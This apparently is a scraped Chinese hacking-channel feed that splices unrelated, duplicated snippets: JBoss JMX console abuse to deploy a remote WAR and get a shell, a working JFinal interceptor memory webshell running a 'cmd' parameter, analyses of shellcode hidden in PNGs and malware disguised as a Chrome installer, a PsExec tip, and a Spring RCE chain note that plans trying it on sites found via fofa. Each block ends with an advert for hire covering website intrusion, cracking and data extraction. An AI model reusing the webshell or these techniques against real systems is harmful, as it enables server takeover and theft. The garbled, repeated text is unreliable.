MBean的属性
JMX控制台对MBeans可读可操作,不仅包含JBoss应用服务器本身的信息,同时包含主机信息,这些有助于进一步攻击。
MBean的shutdown()方法可以关闭JBoss应用服务器,未授权的JMX接口可以导致拒绝服务攻击。
redteam.war安装
MainDeployer的方法属性可以在JMX控制台中的jboss.system中调用。
deploy()方法可以由一个URL中一个参数调用,URL指向WAR文件,需要是服务器能够访问到的地址。
当invoke按钮被点击时,JBoss应用服务器会下载WAR文件并安装它,之后,就可以执行shell命令了
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
JMX控制台对MBeans可读可操作,不仅包含JBoss应用服务器本身的信息,同时包含主机信息,这些有助于进一步攻击。
MBean的shutdown()方法可以关闭JBoss应用服务器,未授权的JMX接口可以导致拒绝服务攻击。
redteam.war安装
MainDeployer的方法属性可以在JMX控制台中的jboss.system中调用。
deploy()方法可以由一个URL中一个参数调用,URL指向WAR文件,需要是服务器能够访问到的地址。
当invoke按钮被点击时,JBoss应用服务器会下载WAR文件并安装它,之后,就可以执行shell命令了
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
interceptor内存木马
刚才通过分析,应用会执行到com.jfinal.core.ActionHandler#handle,接着分析handle的执行流程,发现88行执行了,跟进com.jfinal.aop.Invocation#invoke:
import com.jfinal.aop.Interceptor;
import com.jfinal.aop.Invocation;
import com.jfinal.core.Controller;
import java.io.IOException;
public class ShellInterceptor implements Interceptor {
Override
public void intercept(Invocation invocation) {
Controller controller = invocation.getController();
if (controller.getPara("cmd") != null) {
try {
Runtime.getRuntime().exec(controller.getPara("cmd"));
} catch (IOException e) {
e.printStackTrace();
}
}
invocation.invoke();
}
}
发现这里是调用了interceptors中interceptor.intercept
那么可以尝试针对指定路由构造interceptor内存马
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
刚才通过分析,应用会执行到com.jfinal.core.ActionHandler#handle,接着分析handle的执行流程,发现88行执行了,跟进com.jfinal.aop.Invocation#invoke:
import com.jfinal.aop.Interceptor;
import com.jfinal.aop.Invocation;
import com.jfinal.core.Controller;
import java.io.IOException;
public class ShellInterceptor implements Interceptor {
Override
public void intercept(Invocation invocation) {
Controller controller = invocation.getController();
if (controller.getPara("cmd") != null) {
try {
Runtime.getRuntime().exec(controller.getPara("cmd"));
} catch (IOException e) {
e.printStackTrace();
}
}
invocation.invoke();
}
}
发现这里是调用了interceptors中interceptor.intercept
那么可以尝试针对指定路由构造interceptor内存马
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
Demo3Handler、Demo2Handler、DemoHandler是自定义的三个handler,在web配置中定义,调用完这三个,紧接着调用ActionHandler,这都是Handler的实现类
实际上这里是
com.jfinal.core.JFinalFilter#doFilter中调用了
this.handler.handle(target, request, response, isHandled);
而this.handler中存储了第一个Handler,就是DemoHandler,其中next属性值又为第二个Demo2Handler,这样循环调用到ActionHandler,接着看com.jfinal.core.ActionHandler#handle,在59行断点,重新执行
通过com.jfinal.core.ActionHandler#getAction获取action,根据路由/hello,而这个getAction就是从actionMapping中取值
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
实际上这里是
com.jfinal.core.JFinalFilter#doFilter中调用了
this.handler.handle(target, request, response, isHandled);
而this.handler中存储了第一个Handler,就是DemoHandler,其中next属性值又为第二个Demo2Handler,这样循环调用到ActionHandler,接着看com.jfinal.core.ActionHandler#handle,在59行断点,重新执行
通过com.jfinal.core.ActionHandler#getAction获取action,根据路由/hello,而这个getAction就是从actionMapping中取值
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
通过分析aut.png图像中ShellCode代码功能与上面view.png图像中ShellCode代码功能一致,但解密出来的PayLoad不一样,通过分析该PayLoad引用了一个注入工具的代码,并会将ShellCode代码注入到explore.exe进程当中
两个PNG图像中包含的ShellCode代码,先看view.png中的ShellCode代码,分配相应的内存空间
注入的ShellCode代码与上面的两个ShellCode代码的逻辑一致,分配相应的内存空间,然后将加密的数据拷贝到内存空间当中
最终解密出来的PayLoad,查询相关注册表项,设置快捷方式等
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
两个PNG图像中包含的ShellCode代码,先看view.png中的ShellCode代码,分配相应的内存空间
注入的ShellCode代码与上面的两个ShellCode代码的逻辑一致,分配相应的内存空间,然后将加密的数据拷贝到内存空间当中
最终解密出来的PayLoad,查询相关注册表项,设置快捷方式等
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
伪装成Chrome安装程序传播银狐最新变种
1.初始样本伪装成Chrome的MSI安装程序
2.解析MSI安装程序
3.CustomAction安装脚本,调用恶意模块的导出函数exitzi
4.MSI解压缩之后,包含恶意模块
5.恶意模块带有无效数字签名,数字签名信息
6.恶意模块使用了“增肥”技术,大小为二百多M,在DATA段中加入了大量的垃圾数据
7.恶意模块的导出函数exitzi
8.在指定的目录生成压缩包文件
9.生成的压缩包
10.通过遍历进程等信息反虚拟机操作,然后通过密码解压缩文件
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
1.初始样本伪装成Chrome的MSI安装程序
2.解析MSI安装程序
3.CustomAction安装脚本,调用恶意模块的导出函数exitzi
4.MSI解压缩之后,包含恶意模块
5.恶意模块带有无效数字签名,数字签名信息
6.恶意模块使用了“增肥”技术,大小为二百多M,在DATA段中加入了大量的垃圾数据
7.恶意模块的导出函数exitzi
8.在指定的目录生成压缩包文件
9.生成的压缩包
10.通过遍历进程等信息反虚拟机操作,然后通过密码解压缩文件
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
使用 Specops Deploy 的管理员,您可能有过以下经历:当您在本地计算机上尝试部署应用程序时,可以毫无问题地部署它,但当您尝试部署它时,似乎无法让它工作。这篇博客文章可能会对您的问题有所启发。
使用 Specops Deploy 部署应用程序时,本地系统是执行安装的帐户。为了确保您的应用程序以与 Specops Deploy App 完全相同的方式安装,您需要充当本地系统帐户。为此,我推荐使用 Sysinternals 的一款名为PsExec.exe的小工具
从 PsTools解压内容并将 PsExec.exe 复制到 C:\Windows\System32
以管理员身份打开命令提示符并输入以下命令:
PsExec.exe -s -i cmd.exe
复制
通过使用 PsExec.exe,您将在系统上下文中打开新的命令提示符,并且执行所有操作的帐户将是本地系统帐户。这是 Specops Deploy App 在安装应用程序时使用的相同帐户。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
使用 Specops Deploy 部署应用程序时,本地系统是执行安装的帐户。为了确保您的应用程序以与 Specops Deploy App 完全相同的方式安装,您需要充当本地系统帐户。为此,我推荐使用 Sysinternals 的一款名为PsExec.exe的小工具
从 PsTools解压内容并将 PsExec.exe 复制到 C:\Windows\System32
以管理员身份打开命令提示符并输入以下命令:
PsExec.exe -s -i cmd.exe
复制
通过使用 PsExec.exe,您将在系统上下文中打开新的命令提示符,并且执行所有操作的帐户将是本地系统帐户。这是 Specops Deploy App 在安装应用程序时使用的相同帐户。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
Spring最新原生无任何依赖RCE新链子
环境搭建
这里直接本地复现了,当然到时候也去 fofa 搞个站看看效果
链子思路
首先我们 sink 点,都使用原生了,只能是 TemplatesImpl 了,但是我们都知道在高版本的 JDK,这条链子根本打不了
模块化机制的限制
可以看到失败了,我们可以分析一下原因
总结一下就是检查某个类的字段或方法是否允许通过反射设置为可访问(setAccessible),目前只有
调用方与目标类在同一模块
目标模块是否对调用方导出或开放包
目标类与成员的修饰符(public/protected/static)及继承关系等条件
才能够反射去修改了
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
环境搭建
这里直接本地复现了,当然到时候也去 fofa 搞个站看看效果
链子思路
首先我们 sink 点,都使用原生了,只能是 TemplatesImpl 了,但是我们都知道在高版本的 JDK,这条链子根本打不了
模块化机制的限制
可以看到失败了,我们可以分析一下原因
总结一下就是检查某个类的字段或方法是否允许通过反射设置为可访问(setAccessible),目前只有
调用方与目标类在同一模块
目标模块是否对调用方导出或开放包
目标类与成员的修饰符(public/protected/static)及继承关系等条件
才能够反射去修改了
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
👍1